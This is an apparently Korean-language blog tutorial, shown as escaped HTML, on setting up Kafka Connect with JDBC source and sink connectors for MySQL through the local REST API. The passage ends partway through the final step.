&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;566&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/y4kFM/btrhTgmlEYP/9kJBtEws8hUzAQmWFdbVy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/y4kFM/btrhTgmlEYP/9kJBtEws8hUzAQmWFdbVy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/y4kFM/btrhTgmlEYP/9kJBtEws8hUzAQmWFdbVy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fy4kFM%2FbtrhTgmlEYP%2F9kJBtEws8hUzAQmWFdbVy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;566&quot; height=&quot;124&quot; data-origin-width=&quot;566&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;kafka 디렉토리에서 아래의 명령어를 통해 zookeeper server와 kafka broker를 실행해준다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1634363717378&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ ./bin/zookeeper-server-start.sh ./config/zookeeper.properties
$ ./bin/kafka-server-start.sh ./config/server.properties&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2144&quot; data-origin-height=&quot;1988&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJ02bc/btrhTu5K172/Wk4JK8gPSkgWc17pI6hJs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJ02bc/btrhTu5K172/Wk4JK8gPSkgWc17pI6hJs1/img.png&quot; data-alt=&quot;zookeeper, kafka 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJ02bc/btrhTu5K172/Wk4JK8gPSkgWc17pI6hJs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJ02bc%2FbtrhTu5K172%2FWk4JK8gPSkgWc17pI6hJs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;571&quot; height=&quot;529&quot; data-origin-width=&quot;2144&quot; data-origin-height=&quot;1988&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;zookeeper, kafka 실행&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Kafka Connect 설치&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다운로드 링크: https://packages.confluent.io/archieve/6.1/confluent-community-6.1.0.tar.gz&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치후 kafka-connect 디렉토리에서 아래 명령어로 kafka-connect 실행(&lt;b&gt;zookeeper와 kafka broker가 실행되어있어야함&lt;/b&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1634364284552&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ ./bin/connect-distributed ./etc/kafka/connect-distributed.properties&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실행하고 나서 kafka 디렉토리에서 아래 명령어를 실행하여 topic 리스트를 확인하면&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1634364427794&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ ./bin/kafka-topics.sh --bootstrap-server localhost:9092 --list&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다음과 같은 topic이 생성된 걸 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;296&quot; data-origin-height=&quot;142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pna2r/btrhTRNeGv9/itIU8U5gMkB7VmIwaviNq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pna2r/btrhTRNeGv9/itIU8U5gMkB7VmIwaviNq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pna2r/btrhTRNeGv9/itIU8U5gMkB7VmIwaviNq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPna2r%2FbtrhTRNeGv9%2FitIU8U5gMkB7VmIwaviNq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;296&quot; height=&quot;142&quot; data-origin-width=&quot;296&quot; data-origin-height=&quot;142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Connector 설치&lt;/span&gt;&lt;/blockquote&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;JDBC Connector 다운로드 링크 : https://docs.confluent.io/5.5.1/connect/kafka-connect-jdbc/index.html&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치를 하면 아래의 디렉토리가 설치된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;390&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHUlBR/btrhTdQqkwh/0uKO5Nf4yKEP93K1bocNf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHUlBR/btrhTdQqkwh/0uKO5Nf4yKEP93K1bocNf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHUlBR/btrhTdQqkwh/0uKO5Nf4yKEP93K1bocNf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHUlBR%2FbtrhTdQqkwh%2F0uKO5Nf4yKEP93K1bocNf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;449&quot; height=&quot;223&quot; data-origin-width=&quot;786&quot; data-origin-height=&quot;390&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Kafka Connect 디렉토리에서&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1634365224348&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ vi etc/kafka/connect-distributed.properties&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;아래처럼 plugin.path={kafka connect jdbc plugin 경로}/lib을 입력해준다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1208&quot; data-origin-height=&quot;114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4U84s/btrhThlk2uA/WyzLVcJpdPElWxyWneXV90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4U84s/btrhThlk2uA/WyzLVcJpdPElWxyWneXV90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4U84s/btrhThlk2uA/WyzLVcJpdPElWxyWneXV90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4U84s%2FbtrhThlk2uA%2FWyzLVcJpdPElWxyWneXV90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1208&quot; height=&quot;114&quot; data-origin-width=&quot;1208&quot; data-origin-height=&quot;114&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Mysql Connector 설치&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;connector에서 mysql을 사용하기 위해 추가적으로 mysql connector를 설치해줘야한다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다운로드 링크: https://dev.mysql.com/downloads/connector/j/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;해당 링크로 이동해 설치후 mysql-connector-java-버전.jar파일을&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;{kafka-connector디렉토리}/share/java/kafka에 복사한다.&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Qoe4a/btrhS0KyFvI/DRGExKTBGXqTPD61kPi690/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Qoe4a/btrhS0KyFvI/DRGExKTBGXqTPD61kPi690/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Qoe4a/btrhS0KyFvI/DRGExKTBGXqTPD61kPi690/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQoe4a%2FbtrhS0KyFvI%2FDRGExKTBGXqTPD61kPi690%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;429&quot; height=&quot;251&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;662&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이제 Connect의 REST API를 통해 Source Connector와 Sink Connector를 생성해보자.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Source Connector&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;아래 처럼 connect에 요청을 통해 Source Connector를 생성하자.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1634393011224&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
    &quot;name&quot;: &quot;my-source-connect&quot;,
    &quot;config&quot;: {
        &quot;connector.class&quot;: &quot;io.confluent.connect.jdbc.JdbcSourceConnector&quot;,
        &quot;connection.url&quot;: &quot;jdbc:mysql://localhost:3306/test&quot;,
        &quot;connection.user&quot;:&quot;root&quot;,
        &quot;connection.password&quot;:&quot;비밀번호&quot;,
        &quot;mode&quot;:&quot;incrementing&quot;,
        &quot;incrementing.column.name&quot; : &quot;id&quot;,
        &quot;table.whitelist&quot; : &quot;users&quot;,
        &quot;topic.prefix&quot; : &quot;example_topic_&quot;,
        &quot;tasks.max&quot; : &quot;1&quot;,
    }
}
cUrl -X POST -d @- http://localhost:8083/connectors --header &quot;content-Type:application/json&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;포스트맨을 사용하면 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1294&quot; data-origin-height=&quot;802&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkUdSR/btrhWJ8ydGR/cZaysl99uyZKpqMSr4qgz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkUdSR/btrhWJ8ydGR/cZaysl99uyZKpqMSr4qgz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkUdSR/btrhWJ8ydGR/cZaysl99uyZKpqMSr4qgz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkUdSR%2FbtrhWJ8ydGR%2FcZaysl99uyZKpqMSr4qgz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;497&quot; height=&quot;308&quot; data-origin-width=&quot;1294&quot; data-origin-height=&quot;802&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;각 속성의 의미는 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;name : source connector 이름(JdbcSourceConnector를 사용)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;config.connector.class : 커넥터 종류(JdbcSourceConnector 사용)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;config.connection.url : jdbc이므로 DB의 정보 입력&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;config.connection.user : DB 유저 정보&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;config.connection.password : DB 패스워드&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;config.mode : &quot;테이블에 데이터가 추가됐을 때 데이터를 polling 하는 방식&quot;(bulk, incrementing, timestamp, timestamp+incrementing)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;config.incrementing.column.name : incrementing mode일 때 자동 증가 column 이름&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;config.table.whitelist : 데이터를 변경을 감지할 table 이름&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;config.topic.prefix : kafka 토픽에 저장될 이름 형식 지정 위 같은경우 whitelist를 뒤에 붙여 example_topic_users에 데이터가 들어감&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;tasks.max : 커넥터에 대한 작업자 수(본문 인용.. 자세한 설명을 찾지 못함)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실행 후 아래 요청을 통해 생성된 Connectors List를 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1634393523575&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cUrl -X GET -d @- http://localhost:8083/connectors&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1204&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bF2AAV/btrhUW8B5DO/w9XPuDWl1nzNks7sUdTDI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bF2AAV/btrhUW8B5DO/w9XPuDWl1nzNks7sUdTDI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bF2AAV/btrhUW8B5DO/w9XPuDWl1nzNks7sUdTDI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbF2AAV%2FbtrhUW8B5DO%2Fw9XPuDWl1nzNks7sUdTDI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;246&quot; data-origin-width=&quot;1204&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이제 test.users table에 데이터를 insert해보자.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;124&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgzgWh/btrhWI9FEMN/8aalCbZH1Z5wfhsRoJcU21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgzgWh/btrhWI9FEMN/8aalCbZH1Z5wfhsRoJcU21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgzgWh/btrhWI9FEMN/8aalCbZH1Z5wfhsRoJcU21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgzgWh%2FbtrhWI9FEMN%2F8aalCbZH1Z5wfhsRoJcU21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;644&quot; height=&quot;124&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;124&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그리고 kafka server 디렉토리에서 아래 명령어를 통해 topic 리스트를 확인해보면 example_topic_users 토픽이 생성된 것을 확인할 수 있다.(DB에 데이터를 삽입함으로써 Source Connector가 DB데이터를 topic에 push한 것)&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1634394031650&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ ./bin/kafka-topics.sh --bootstrap-server localhost:9092 --list&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;208&quot; data-origin-height=&quot;86&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eda1IQ/btrhUku9pIc/JGc3eh2h5X2GkSAi06WNT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eda1IQ/btrhUku9pIc/JGc3eh2h5X2GkSAi06WNT0/img.png&quot; data-alt=&quot;토픽 리스트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eda1IQ/btrhUku9pIc/JGc3eh2h5X2GkSAi06WNT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feda1IQ%2FbtrhUku9pIc%2FJGc3eh2h5X2GkSAi06WNT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;208&quot; height=&quot;86&quot; data-origin-width=&quot;208&quot; data-origin-height=&quot;86&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;토픽 리스트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Sink Connector&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이제 Source Connector를 통해 topic에 넣은 데이터를 Sink하기 위해 Sink Connector를 생성해보자&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Source Connector와 동일하게 아래처럼 API통해 생성한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1634394528255&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
    &quot;name&quot;: &quot;my-pksink-connect&quot;,
    &quot;config&quot;: {
        &quot;connector.class&quot;: &quot;io.confluent.connect.jdbc.JdbcSinkConnector&quot;,
        &quot;connection.url&quot;: &quot;jdbc:mysql://localhost:3306/test&quot;,
        &quot;connection.user&quot;:&quot;root&quot;,
        &quot;connection.password&quot;:&quot;비밀번호&quot;,
        &quot;auto.create&quot;:&quot;true&quot;,
        &quot;auto.evolve&quot;:&quot;true&quot;,
        &quot;delete.enabled&quot;:&quot;false&quot;,
        &quot;tasks.max&quot;:&quot;1&quot;,
        &quot;topics&quot;:&quot;example_topic_users&quot;
    }
}

cUrl -X POST -d @- http://localhost:8083/connectors --header &quot;content-Type:application/json&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;778&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkyuud/btrhUlHBfWd/R6FYH0oDa2ioeEukQgF7E0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkyuud/btrhUlHBfWd/R6FYH0oDa2ioeEukQgF7E0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkyuud/btrhUlHBfWd/R6FYH0oDa2ioeEukQgF7E0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbkyuud%2FbtrhUlHBfWd%2FR6FYH0oDa2ioeEukQgF7E0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;591&quot; height=&quot;359&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;778&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;sourceConnector와 겹치는 속성을 제외한 속성은 다음과 같은 뜻을 가진다&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;auto.create : 데이터를 넣을 테이블이 누락되었을 경우 자동 테이블 생성 여부&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;auto.evolve : 특정 데이터의 열이 누락된 경우 대상 테이블에 ALTER 구문을 날려 자동으로 테이블 구조를 바꾸는지 여부 (하지만 데이터 타입 변경, 컬럼 제거, 키본 키 제약 조건 추가등은 시도되지 않는다)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;delete.enabled : 삭제 모드 여부&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;더 자세한 속성은 해당 링크에서 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://docs.confluent.io/kafka-connect-jdbc/current/sink-connector/sink_config_options.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.confluent.io/kafka-connect-jdbc/current/sink-connector/sink_config_options.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;생성후 users table에 데이터를 insert하면&lt;/span&gt;&lt;/p&gt;
